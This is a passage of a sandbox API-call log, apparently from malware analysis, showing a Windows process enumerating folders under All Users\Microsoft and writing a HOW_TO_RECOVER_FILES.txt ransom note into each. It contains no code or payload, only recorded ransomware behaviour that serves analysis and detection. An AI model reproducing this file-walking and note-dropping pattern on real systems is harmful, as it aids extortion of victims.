lpOldMode=0x10f9c70) returned 1 [0140.767] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0140.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0140.767] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.768] GetFileType (hFile=0x618) returned 0x1 [0140.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0140.768] GetFileType (hFile=0x618) returned 0x1 [0140.768] WriteFile (in: hFile=0x618, lpBuffer=0x3a8ea00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3a8ea00*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.769] CloseHandle (hObject=0x618) returned 1 [0140.769] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0140.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0140.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.770] GetFileType (hFile=0x618) returned 0x1 [0140.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0140.771] GetFileType (hFile=0x618) returned 0x1 [0140.771] WriteFile (in: hFile=0x618, lpBuffer=0x3a92278*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3a92278*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.772] CloseHandle (hObject=0x618) returned 1 [0140.772] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0140.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.772] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.773] GetFileType (hFile=0x618) returned 0x1 [0140.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.773] GetFileType (hFile=0x618) returned 0x1 [0140.900] WriteFile (in: hFile=0x618, lpBuffer=0x38f87d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x38f87d0*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.901] CloseHandle (hObject=0x618) returned 1 [0140.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.901] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x28 [0140.901] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.901] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.901] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.901] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0140.902] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0140.902] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0140.902] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.902] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x28 [0140.902] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.902] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.903] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.903] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0140.903] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0140.903] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.903] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.904] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT", lpFilePart=0x0) returned 0x2c [0140.904] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9fbc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.904] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9fbc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.904] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9fbc7e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9fbc7e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9fbc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.904] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0140.904] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.904] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.905] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT", lpFilePart=0x0) returned 0x2c [0140.905] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a9fbc7e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9fbc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.905] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a9fbc7e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9fbc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.905] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9fbc7e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a9fbc7e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a9fbc7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.905] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0140.905] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0 [0140.905] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.906] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0140.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0140.906] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\int\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.907] GetFileType (hFile=0x618) returned 0x1 [0140.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0140.907] GetFileType (hFile=0x618) returned 0x1 [0140.907] WriteFile (in: hFile=0x618, lpBuffer=0x391e818*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x391e818*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.908] CloseHandle (hObject=0x618) returned 1 [0140.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.908] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production", lpFilePart=0x0) returned 0x33 [0140.908] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.909] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.909] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.909] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0140.909] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0140.909] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0140.909] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.910] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production", lpFilePart=0x0) returned 0x33 [0140.910] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa48239, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3aa48239, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3aa48239, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 